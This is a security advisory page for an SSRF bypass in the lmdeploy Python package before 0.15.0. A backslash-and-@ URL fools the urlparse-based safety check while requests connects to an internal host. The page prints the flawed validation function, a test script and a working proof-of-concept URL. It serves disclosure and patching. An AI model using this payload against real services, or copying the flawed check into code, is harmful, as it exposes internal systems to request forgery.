LMDeploy has an SSRF bypass
GHSA-39wr-7q6h-cf68 is a high-severity vulnerability with a CVSS 3.1 base score of 7.5, classed as Interpretation Conflict (CWE-436), in lmdeploy (PyPI). Affected versions: >= 0.12.3, < 0.15.0. It is fixed in 0.15.0.
Published 18 Sept 2026Updated 18 Sept 2026
- CVE ID
- No CVE assigned
- GHSA ID
- GHSA-39wr-7q6h-cf68
- EPSS
- Not scored
- KEV status
- Not in KEV
- Published
- 18 Sept 2026
- Updated
- 18 Sept 2026
- Ecosystem
- PyPI
Summary
Source: OSV (GitHub advisory)
The URL checking logic in lmdeploy has a logical flaw that could be bypassed by attackers, leading to SSRF attacks.
Details
The current lmdeploy project uses _is_safe_url to validate the input URL. The main logic is to perform security checks on the host portion of the URL extracted by urlparse to prevent SSRF attacks.
However, there are indeed differences in parsing between urlparse and the library that actually sends the request. Currently, almost all application scenarios in this project involve first using _is_safe_url for URL validation, and then using requests.Session().get to send the request.
The core issue: urlparse() and requests disagree on which host a URL like http://127.0.0.1:6666\@1.1.1.1 points to:
urlparse()treats\as a regular character and@as the userinfo-host delimiter, so it extracts hostname as 1.1.1.1 (public)requeststreats\as a path character, connecting to127.0.0.1(internal)
Below is a test code I wrote following the code.
from urllib.parse import urlparse
import ipaddress
import socket
import requests
def _is_safe_url(url: str) -> tuple[bool, str]:
"""Check if the URL is safe to fetch (not internal/private)."""
try:
parsed = urlparse(url)
if parsed.scheme not in ("http", "https"):
return False, f"Unsupported scheme: {parsed.scheme}"
hostname = parsed.hostname
if not hostname:
return False, "Could not parse hostname from URL"
# check all IPs (IPv4 + IPv6) using getaddrinfo
try:
infos = socket.getaddrinfo(hostname, None)
except socket.gaierror:
return False, "Hostname resolution failed"
for info in infos:
ip = ipaddress.ip_address(info[4][0])
# block any IP that is not globally routable (covers private, loopback,
# link-local, multicast, reserved, unspecified, etc.)
if not ip.is_global:
return False, f"Blocked non-global IP detected: {ip}"
return True, "URL is safe"
except Exception as e:
return False, f"URL validation failed: {str(e)}"
# url = "http://127.0.0.1:6666"
url = "http://127.0.0.1:6666\@1.1.1.1"
is_safe, reason = _is_safe_url(url)
if not is_safe:
raise ValueError(f"URL is blocked for security reasons: {reason}")
fetch_timeout = 10
client = requests.Session()
client.max_redirects = 3
response = client.get(url, timeout=fetch_timeout, allow_redirects=True)
When an attacker uses http://127.0.0.1:6666/, the existing detection logic can detect that this is an internal network address and block it.
However, when an attacker uses http://127.0.0.1:6666\@1.1.1.1, the detection logic resolves the host to 1.1.1.1, which is a public IP address, thus passing the verification. But in the actual request process, this URL is forwarded by requests.get to http://127.0.0.1:6666/, bypassing the detection and achieving an SSRF attack.
PoC
http://127.0.0.1:6666\@1.1.1.1
Impact
SSRF
Technical details
Source: GitHub Advisory Database
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NHigh7.5Base score from GitHub Advisory Database
- Attack Vector AV
- Network
- Attack Complexity AC
- Low
- Privileges Required PR
- None
- User Interaction UI
- None
- Scope S
- Unchanged
- Confidentiality C
- High
- Integrity I
- None
- Availability A
- None
Affected packages
Source: OSV (GitHub advisory)
- lmdeployPyPI
pkg:pypi/lmdeploy- Affected versions
- >= 0.12.3, < 0.15.0
- Fixed in
- 0.15.0
Show 3 listed versions
- 0.12.3
- 0.13.0
- 0.14.0
| Package | Affected versions | Fixed in |
|---|---|---|
lmdeploy PyPI pkg:pypi/lmdeploy |
Show 3 listed versions
|
|
Fix
Source: OSV (GitHub advisory)
Fix available
Upgrade to 0.15.0 or later.
Vulnerability intelligence
Root cause analysis
Vulnerable functions
References
Credits
- Fushulingreporter
- RacerZ-fightingreporter
- clzoomreporter
Questions about GHSA-39wr-7q6h-cf68
- Does GHSA-39wr-7q6h-cf68 have a CVE ID?
- No CVE ID has been assigned to GHSA-39wr-7q6h-cf68 yet. It is tracked only as a GitHub advisory.
- What is the CVSS score of GHSA-39wr-7q6h-cf68?
- GHSA-39wr-7q6h-cf68 has a CVSS 3.1 base score of 7.5 (High), vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N.
- Which versions are affected by GHSA-39wr-7q6h-cf68?
- lmdeploy (PyPI): >= 0.12.3, < 0.15.0.
- How do I fix GHSA-39wr-7q6h-cf68?
- Upgrade to 0.15.0 or later.
- What is the Package URL (PURL) for GHSA-39wr-7q6h-cf68?
- The affected package's PURL is pkg:pypi/lmdeploy.
Data sources
Upstream records
Fetched 4 days ago (9 Oct 2026, 18:09 UTC). Records refresh automatically after 24 hours.
Where each part of this page came from
- Title and description
- OSV (GitHub advisory)
- Severity score
- GitHub Advisory Database
- Weakness (CWE)
- GitHub Advisory Database
- Affected packages
- OSV (GitHub advisory)
- Fix
- OSV (GitHub advisory)
- References
- Computed by CVEminer
OSV and GitHub Advisory Database content is licensed CC BY 4.0. Values marked as computed or derived were calculated by CVEminer from the upstream data.